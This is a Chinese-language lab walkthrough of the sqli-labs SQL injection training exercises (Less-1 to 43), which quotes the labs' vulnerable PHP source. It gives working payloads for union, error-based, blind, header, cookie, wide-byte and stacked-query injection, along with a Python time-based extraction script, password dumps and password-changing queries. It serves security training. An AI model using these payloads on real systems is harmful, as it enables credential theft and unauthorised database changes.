sqlilabs详解(完结)
- 题目
- page-1
- Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)
- GET - Error based - Intiger based (基于错误的GET整型注入)
- Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)
- Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)
- Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)
- Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)
- Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)
- Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)
- Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)
- Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)
- Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)
- Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)
- Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)
- Less-14 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)
- less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)
- Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)
- Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)
- Less-18 POST - Header Injection - Uagent field - Error based (基于错误的用户代理,头部POST注入)
- Less-19 POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)
- Less-20 POST - Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)
- page-2
- Less-21 Cookie Injection- Error Based- complex - string
- Less-22 Cookie Injection- Error Based- Double Quotes - string (基于错误的双引号字符型Cookie注入)
- Less-23 GET - Error based - strip comments (基于错误的,过滤注释的GET型)
- Less - 24 Second Degree Injections *Real treat* -Store Injections (二次注入)
- Less-25 Trick with OR & AND (过滤了or和and)
- Less-25a Trick with OR & AND Blind (过滤了or和and的盲注)
- Less-26 Trick with comments and space (过滤了注释和空格的注入)
- less 26a GET - Blind Based - All your SPACES and COMMENTS belong to us(过滤了空格和注释的盲注)
- less 27 GET - Error Based- All your UNION & SELECT belong to us (过滤了union和select的)
- less 27a GET - Blind Based- All your UNION & SELECT belong to us
- less 28 GET - Error Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于错误的,有括号的单引号字符型,过滤了union和select等的注入
- less 28a GET - Bind Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于盲注的,有括号的单引号字符型,过滤了union和select等的注入
- Less-29 基于WAF的一个错误
- Less-30 Get-Blind Havaing with WAF
- Less-31 Protection with WAF
- Less-32 Bypass addslashes()
- Less-33 Bypass addslashes()
- Less-34 Bypass Add SLASHES
- Less-35 why care for addslashes()
- Less-36 Bypass MySQL Real Escape String
- Less-37- MySQL_real_escape_string
- page-3
- Less-38 stacked Query
- Less-39 stacked Query Intiger type
- Less-40 stacked Query String type Blind
- Less-41 stacked Query Intiger type blind
- Less-42 - Stacked Query error based
- less43 POST -Error based -String -Stacked with tiwst(POST型基于错误的堆叠变形字符型注入)
- Less-44 - Stacked Query blind
- less-45 基于报错的password处的')闭合注入
- less-46 ORDER BY-Error-Numeric
- Less-47 - ORDER BY Clause-Error-Single quote
- Less-48 - ORDER BY Clause Blind based
- Less49 - ORDER BY Clause Blind based
- Less50 - ORDER BY Clause Blind based
- Less-51 - ORDER BY Clause Blind based
- Less-52 - ORDER BY Clause Blind based
- Less-53 - ORDER BY Clause Blind based
- Page-4
题目
page-1
Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+
常规注入,order by 4不行,order by 3 可以
然后,我们看看回显位置
如下是源码
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-1 **Error Based- String**</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-1.jpg" /></center>
</body>
</html>
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
他直接获取了我们的id,填了进去,那么我们闭合前面的引号,注释后面的语句
$sql="SELECT * FROM users WHERE id='-1' union select 1,2,3 --+' LIMIT 0,1";
这是最后的语句
我们查看他的数据库,security数据库
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
group_concat 可以将所有的tables 提取出来
information_schema是mysql特有的库,存储各种数据库的信息
我们查询他的字段
然后我们查询他的值,
查询密码
GET - Error based - Intiger based (基于错误的GET整型注入)
这里我们没有加入单引号
及为整形
源码这里和上面第一题,有明显不同
其余注入和第一题完全一致
Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)
查看源码我们发现
如果我们正常注入时,总归括号不能合并,那么我们
http://127.0.0.1/sqli-labs/Less-3/?id=-1') union select 1,2,3 --+
这样,语句就被我们闭合
$sql="SELECT * FROM users WHERE id=('-1') union select 1,2,3 --+') LIMIT 0,1";
其余注入和第一题讲解一致
Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)
那么我们考虑如何将前面的闭合
http://127.0.0.1/sqli-labs/Less-4/?id=-1") union select 1,2,3 --+
那么我们闭合完成的语句是
其余和第一题注入一致
Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)
正常闭合,显示正确
我们如果看到这样的报错信息,首先想到的就是布尔型盲注、报错型注入、时间延迟型盲注了,可以看他浏览器的反应来判断,这类型直接拿sqlmap跑就行,这里手工仅仅简单注入一下,毕竟这个工程量很大,
关于时间的盲注
可以发现有明显延迟
我们可以盲注,?id=1' and length(database())=8
=8正好,一般情况需要考虑
>8 <8
接下来我们就可以使用一位一位的判断
可以自己写脚本,也可以burp
# coding:utf-8
import requests
import datetime
import time
# 获取数据库名长度
def database_len():
for i in range(1, 10):
url = "http://127.0.0.1/sqli-labs/Less-5/index.php"
payload = " ?id=1' and if(length(database())>%s,sleep(1),0) --+" % i
# print(url+payload+'%23')
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 1:
print(i)
else:
print(i)
break
print('database_len:', i)
#获取数据库名
def database_name():
name = ''
for j in range(1,9):
for i in '0123456789abcdefghijklmnopqrstuvwxyz':
url = "http://127.0.0.1/sqli-labs/Less-5/index.php"
payload = "?id=1' and if(substr(database(),%d,1)='%s',sleep(3),1) --+" % (j,i)
#print(url+payload)
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >=3:
name += i
print(name)
break
print('database_name:', name)
if __name__ == '__main__':
database_name()
?id=1' and if(substr(database(),%d,1)='%s',sleep(3),1) -- +
暴表:
?id=1' and if(substr(select table_ name from information_schema.tables where table_schema=database(),%d,1))
爆列:
?id=1' and if(substr(select columns_name from infomation_schema.columns where table_shema=database(),%d,1))
还可以进行xpath注入
因为这里并不是完全的无回显,所以我们试试updatexml报错注入
http://192.168.2.222/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x5e,database(),0x5e),1) --+
,database()处可换成任意SQL语句。
测试:http://192.168.2.222/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x5e,(select group_concat(username,0x7e,password) from users),0x5e),1) --+
报错: XPATH syntax error: ‘^Dumb~Dumb,Angelina~I-kill-you,D’ ,此时出现了一个小问题,我闷尝试这把所有内容爆出来,但是这里显示不全?原因就是我们的concat(0x5e,1,0x5e),如果完整的话,那么出现的内容两边必有
^(0x5e).所有这个右边还有内容没报错出来。
我们可以用substr函数,截取,最后在拼接。http://192.168.2.222/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x5e,(substr((select group_concat(username,0x7e,password) from users),1)),0x5e),1) --+
可将substr函数里的1处依次加31.(因为每次只能查出31为字符)
Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)
查询了第一个,输入的id使用“包裹,其余和第五关一致
所以只需要我们换成双引号即可
Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)
当我们准备闭合语句时候,
发现1'))
可以闭合
发现有三列
我们将my.ini进行修改后,可以进行写入文件
再经过一系列修改之后终于可以了,
帮忙踩个坑,这里我们修改secure时候记得重启电脑,因为phpstudy自己的bug,这里我们写入一句话连接即可
所用函数
Length()函数 返回字符串的长度
Substr()截取字符串
Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)
当我们输入1‘时,发现闭合
没有回显,我们试试盲注
因为本地比较慢,,同时延时5秒,因此延迟了
而且她第一个字符是s
可以看到有明显差别
或者我们可以使用ascii码来进行查找
http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(ascii(substr(database(),1,1))>1,sleep(5),sleep(1)) --+
从1-128,
substr的话从第一位取一个,到第八位取一个
其他同less5
Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)
发现这样的时间的盲注仍然可行~
那么结果就同less5了
Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)
其余同9喽~
Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)
使用万能密码时可以登录
admin' or 1 #)
是一个dump用户,当然admin也可以登录
这儿是有回显的注入
我们试试喽~
POST
发现只有2成立,3就不能正常了
发现回显12
我们正常查询即可~~~~
报错注入
uname=-admin' and updatexml(1,concat(0x5e,(select group_concat(username,0x7e,password) from users),0x5e),1) #&passwd=admin&submit=Submit
Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)
发现闭合喽
其余同less11
Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)
单引号报错,发现可以闭合,')
因为我们登陆成功时并没有发现任何回显,
报错注入
我们可以进行报错注入,
uname=admin') and extractvalue(1,concat(0x7e,(select database()))) --+
报错注入讲解,见另外一篇sql基础总结
常规注入
我们使用基于时间的盲注,同1-10关的,只是在burp里修改即可
Less-14 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)
本地延迟比较高,我们时间使用多一点,因为她没有回显,只能用盲注了
方法2
报错注入
uname=uname=admin" and extractvalue(1,concat(0x7e,(select database())))--+
less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)
我们接着尝试万能密码
123' or 1 #
登录成功说明他是单引号闭合
我们使用admin’ and sleep(10) # 基于时间的盲注,其他的话就是用if喽,跟上面情况一致
Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)
与15关相同关闭了报错提示,但可以根据页面的回显来判断。
当测试到admin") #时页面显示登陆成功,所以闭合方式为双引号括号"),如果不知道用户名可以这样测试, 123") or 1 #
本关依旧是可以进行布尔盲注和时间盲注。
Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)
这里是修改密码的页面
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
我们可以看到,用户名被check_input 包裹了,
而密码没有
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
这是他的检查函数
传入的值首先只会提取,前15 位
get_magic_quotes_gpc
— 获取当前 magic_quotes_gpc 的配置选项设置
如果 magic_quotes_gpc 为关闭时返回 0,否则返回 1。在 PHP 5.4.O 起将始终返回 FALSE。magic_quotes_gpc
开启时用于在预定义字符(单引号、双引号、斜杠、NULL)前加上反斜杠,
5.4.0 始终返回 FALSE,因为这个魔术引号功能已经从 PHP 中移除了。
Less-18 POST - Header Injection - Uagent field - Error based (基于错误的用户代理,头部POST注入)
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,20);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
echo "<br>";
echo 'Your IP ADDRESS is: ' .$IP;
echo "<br>";
//echo 'Your User Agent is: ' .$uagent;
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
/*
echo 'Your Your User name:'. $uname;
echo "<br>";
echo 'Your Password:'. $passwd;
echo "<br>";
echo 'Your User Agent String:'. $uagent;
echo "<br>";
echo 'Your User Agent String:'. $IP;
*/
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Agent:'.$uname."\n");
fclose($fp);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';
echo 'Your User Agent is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}
?>
打开发现存在ip的回显,可能就是user-agent存在注入吧,我们查看代码
我们发现,它本身过滤的很好,但是在uagent的地方,直接进行了获取,直接进行了输出
同时进行了数据库的写入,
发现是单引号的闭合
我们burp试试看,登录成功后,果然是UA可以进行注入,并回显
发现并没有我们想要的结果,那么我们尝试报错注入
1',1,extractvalue(1,concat(0x7e,(database()),0x7e)))#
将后面注释,同时闭合,然后执行我们的报错
Less-19 POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)
和上面比较相似,只不过是在referer处的回显
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,20);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
$uagent = $_SERVER['HTTP_REFERER'];
$IP = $_SERVER['REMOTE_ADDR'];
echo "<br>";
echo 'Your IP ADDRESS is: ' .$IP;
echo "<br>";
//echo 'Your User Agent is: ' .$uagent;
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
/*
echo 'Your Your User name:'. $uname;
echo "<br>";
echo 'Your Password:'. $passwd;
echo "<br>";
echo 'Your User Agent String:'. $uagent;
echo "<br>";
echo 'Your User Agent String:'. $IP;
*/
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'Referer:'.$uname."\n");
fclose($fp);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';
echo 'Your Referer is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}
?>
他将ip和referer,进行了输出,
输入单引号,发生了报错
1' and extractvalue(1,concat(0x7e,(database()),0x7e)) and '
因为不知道他的前后有几个参数,所以我们使用and进行连接,
Less-20 POST - Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)
我们登陆后就会返回一个充满东西的页面
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
if(!isset($_COOKIE['uname']))
{
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
echo "<div style=' margin-top:20px;color:#FFF; font-size:24px; text-align:center'> Welcome <font color='#FF0000'> Dhakkan </font><br></div>";
echo "<div align='center' style='margin:20px 0px 0px 510px;border:20px; background-color:#0CF; text-align:center;width:400px; height:150px;'>";
echo "<div style='padding-top:10px; font-size:15px;'>";
echo "<!--Form to post the contents -->";
echo '<form action=" " name="form1" method="post">';
echo ' <div style="margin-top:15px; height:30px;">Username : ';
echo ' <input type="text" name="uname" value=""/> </div>';
echo ' <div> Password : ';
echo ' <input type="text" name="passwd" value=""/></div></br>';
echo ' <div style=" margin-top:9px;margin-left:90px;"><input type="submit" name="submit" value="Submit" /></div>';
echo '</form>';
echo '</div>';
echo '</div>';
echo '<div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">';
echo '<font size="3" color="#FFFF00">';
echo '<center><br><br><br>';
echo '<img src="../images/Less-20.jpg" />';
echo '</center>';
function check_input($value)
{
if(!empty($value))
{
$value = substr($value,0,20); // truncation (see comments)
}
if (get_magic_quotes_gpc()) // Stripslashes if magic quotes enabled
{
$value = stripslashes($value);
}
if (!ctype_digit($value)) // Quote if not a number
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
echo "<br>";
echo "<br>";
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
$cookee = $row1['username'];
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
setcookie('uname', $cookee, time()+3600);
header ('Location: index.php');
echo "I LOVE YOU COOKIES";
echo "</font>";
echo '<font color= "#0000ff" font size = 3 >';
//echo 'Your Cookie is: ' .$cookee;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}
echo "</font>";
echo '</font>';
echo '</div>';
}
else
{
if(!isset($_POST['submit']))
{
$cookee = $_COOKIE['uname'];
$format = 'D d M Y - H:i:s';
$timestamp = time() + 3600;
echo "<center>";
echo '<br><br><br>';
echo '<img src="../images/Less-20.jpg" />';
echo "<br><br><b>";
echo '<br><font color= "red" font size="4">';
echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
echo "</font><br>";
echo '<font color= "cyan" font size="4">';
echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];
echo "</font><br>";
echo '<font color= "#FFFF00" font size = 4 >';
echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";
echo '<font color= "orange" font size = 5 >';
echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
echo "<br></font>";
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
$result=mysql_query($sql);
if (!$result)
{
die('Issue with your mysql: ' . mysql_error());
}
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "pink" font size="5">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo '<font color= "grey" font size="5">';
echo 'Your Password:' .$row['password'];
echo "</font></b>";
echo "<br>";
echo 'Your ID:' .$row['id'];
}
else
{
echo "<center>";
echo '<br><br><br>';
echo '<img src="../images/slap1.jpg" />';
echo "<br><br><b>";
//echo '<img src="../images/Less-20.jpg" />';
}
echo '<center>';
echo '<form action="" method="post">';
echo '<input type="submit" name="submit" value="Delete Your Cookie!" />';
echo '</form>';
echo '</center>';
}
else
{
echo '<center>';
echo "<br>";
echo "<br>";
echo "<br>";
echo "<br>";
echo "<br>";
echo "<br>";
echo '<font color= "#FFFF00" font size = 6 >';
echo " Your Cookie is deleted";
setcookie('uname', $row1['username'], time()-3600);
header ('Location: index.php');
echo '</font></center></br>';
}
echo "<br>";
echo "<br>";
//header ('Location: main.php');
echo "<br>";
echo "<br>";
//echo '<img src="../images/slap.jpg" /></center>';
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'Cookie:'.$cookee."\n");
fclose($fp);
}
?>
这里将我们的各种信息进行了输出
这里使用我们的cookie进行了数据库的查询
那么我们应该从这里入手
输入单引号,发生了报错
但是我们闭合,注释,以后,发现它只是进行了回显而已
可以进行,
到4 发现报错,
我们让查询失败,同时查看我们的占位符
123的位置
其后与之前查询一致。
-admin' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
page-2
Less-21 Cookie Injection- Error Based- complex - string
我们发现cookie变为了base64编码的,但是却可以正常显示,那么我们将上一关的payload base64编码试试
查看源码,发现,这里进行了base64的加密,
解码同时,使用了(‘’)单引号,
成功回显,
Less-22 Cookie Injection- Error Based- Double Quotes - string (基于错误的双引号字符型Cookie注入)
根据题目,我们加入双引号,base后,发现报错,进而可以更加确定,
根据源码我们发现,使用双引号我们可以完成闭合,
"SELECT * FROM users WHERE username=-admin" union select 1,2,database()# LIMIT 0,1"
相当于之后的注释掉,然后,查询之前的,union语句
Less-23 GET - Error based - strip comments (基于错误的,过滤注释的GET型)
输入单引号,获得报错,
开幕雷击中,他这里将注释符过滤了,
但是我们查看他的sql语句,
我们可以使用单引号进行闭合,(单引号内的不会被执行)
"SELECT * FROM users WHERE id='1' and '1'='1 ' LIMIT 0,1"
tips:这里我必须是url编码才可以进行
/sqli-labs/Less-23/?id=2%27%20and%20%20%271%27=%27
可以正常运行,
可是这时候我们不能使用order by 进行检测了,我们可以使用union select 一个一个来,到4发现不行了,
SELECT * FROM users WHERE id='-1' union select 1,2,3 and '1'='1' LIMIT 0,1
Less - 24 Second Degree Injections Real treat -Store Injections (二次注入)
他本身是一个完整的界面,
登陆界面,
转义了特殊字符,
创建新用户,这里也进行了转义
但是,修改密码的地方并没有过滤,那么我们可以进行二次注入
那么我们注册一个admin '#
虽然他是转义了,但是仍然在数据库中仍然存好了,
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin '#' and password='$curr_pass' ";
这里查询了username=admin,同时注释了后面的语句
那么我们直接修改密码即可,也就相当于修改了admin的密码
Less-25 Trick with OR & AND (过滤了or和and)
我么发现他的语句被过滤了,
因为过滤了or,我们双写即可
将我们的and也进行双写绕过,
这里进行了匹配or和and,置换为空
Less-25a Trick with OR & AND Blind (过滤了or和and的盲注)
我们发现,数字型的过滤了or和and,我们双写即可,其他同之前的步骤
不需要单引号进行包裹
Less-26 Trick with comments and space (过滤了注释和空格的注入)
发现双引号不报错,单引号报错,说明应该使用单引号闭合
我们发现,他将空格和 and 都过滤了,
and 我们可以进行双写,空格该怎么办?
我们熟知的有:
/**/ () + ` \t
可是都不行,
他的过滤很多
我们可以使用url编码绕过
%09 Tab键(水平)
%0a 新建一行
%0c 新的一页
%0d return 键
%0b Tab键(垂直)
%a0 空格
() 绕过
那么我们使用报错注入
当然,单引号闭合也可以。
less 26a GET - Blind Based - All your SPACES and COMMENTS belong to us(过滤了空格和注释的盲注)
关闭了详细的报错,但是盲注仍然可以找出来,使用’)即可
其余的同上一关
less 27 GET - Error Based- All your UNION & SELECT belong to us (过滤了union和select的)
这一关多过滤了union和select ,我们可以使用大小写绕过
测试后发现%0A可以当作括号
成功回显
less 27a GET - Blind Based- All your UNION & SELECT belong to us
这里他把报错关了,语句由上一关的单引号,变成了无单引号,经过测试,可以通过双引号进行闭合。
less 28 GET - Error Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于错误的,有括号的单引号字符型,过滤了union和select等的注入
这里是主要是匹配了union select
还有select,其余和上面的相同
双写绕过即可
less 28a GET - Bind Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于盲注的,有括号的单引号字符型,过滤了union和select等的注入
这个还比上面的简单一点,他只过滤了union select其余的过滤都放开了
(很气,29-31被blog吃了,只能重写一遍)
Less-29 基于WAF的一个错误
HTTP参数污染(HTTP Parameter Pollution) 攻击者通过在HTTP请求中插入特定的参数来发起攻击,如果Web应用中存在这样的漏洞,可以被攻击者利用来进行客户端或者服务器端的攻击
转自聂哥
http参数污染,见sql注入总结的HTTP参数污染即可,
上面已经说过,waf服务器(tomcat)只解析重复参数里面的前者,而真正的web服务器(Apache)只解析重复参数里面的后者,我们可以传入两个id参数,前者合法而后者为我们想注入的内容
我们的后端是apache,那么我们只要将参数放在后面即可
Less-30 Get-Blind Havaing with WAF
同如上的方法,只不过这里换成了双引号而已
Less-31 Protection with WAF
与上面一致,只不过换成了“)来闭合
$sql="SELECT * FROM users WHERE id= ("$id") LIMIT 0,1";
Less-32 Bypass addslashes()
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}
函数preg_quote
这里的使用方法是这个
将单引号,双引号转换为了\\,\i表示不区分大小写
将字符集设置成了gbk
才可以进行宽字节注入
我们发现他都是被转义的
因为数据库是gbk编码,那么,我们可以进行宽字节注入了
我们尝试%df'
,然后将浏览器编码改为gbk,我们可以看到,他变成了汉字
这是因为加上反斜杠也就是%5c
之后传入参数整体为%df%5c%27
,而前面说过,在mysql里认为前两个字符是一个汉字,也就是‘運’,而后面的单引号就逃逸出来了
- 宽字节注入的本质是PHP与MySQL使用的字符集不同,只要低位的范围中含有0x5c的编码,就可以进行宽字节注入。
查询时,mysql会在布尔型判断时会将数字开头的字符串当成其开头的数字,但是注意字符串要被引号包裹
我们的语句变为了
$sql="SELECT * FROM users WHERE id='-1�' union select 1,2,3--+' LIMIT 0,1";
Less-33 Bypass addslashes()
和上一关一致,只不过换成了addslashe函数
- addslashes() 函数
函数返回在预定义字符之前添加反斜杠的字符串。
单引号(’)
双引号(")
反斜杠(\)
NULL
Less-34 Bypass Add SLASHES
这一关需要抓包,抓包后的工作同less-32关
Less-35 why care for addslashes()
因为语句是数字型,那么,他的过滤都是无用的,我们直接进行数字型的注入即可
Less-36 Bypass MySQL Real Escape String
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}
本关使用了mysql_real_escape_string
函数
同时,设置了gbk编码,那么就会存在宽字节注入
Less-37- MySQL_real_escape_string
这一关变为了post传参,其余和正常的宽字节注入一致,
同less-34
page-3
Less-38 stacked Query
这一关是堆叠注入,详细的堆叠注入见sql注入总结
总结
我们正常查询,因为是堆叠注入,那么我们使用分号,来执行两条命令,我们修改dumb的密码试试
使用单引号将1闭合,
修改成功
$sql="SELECT * FROM users WHERE id='1';update users set password='12345' where username='Dumb' ;--+' LIMIT 0,1";
Less-39 stacked Query Intiger type
因为是数字型,那么我们这次尝试新增一个用户吧
执行成功
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
Less-40 stacked Query String type Blind
这关关闭了报错,但是可以根据页面是否有内容来判断,语句是否正确
执行成功,使用1’)来闭合
我们再次修改dumb的密码
成功
Less-41 stacked Query Intiger type blind
本关是无报错,其余同39关一样
Less-42 - Stacked Query error based
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
我们堆叠注入修改admin的密码
这是我们之前的密码
成功后,
less43 POST -Error based -String -Stacked with tiwst(POST型基于错误的堆叠变形字符型注入)
本关是一个登录页面,对密码处没有过滤,那么我们对密码处进行堆叠注入
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')"
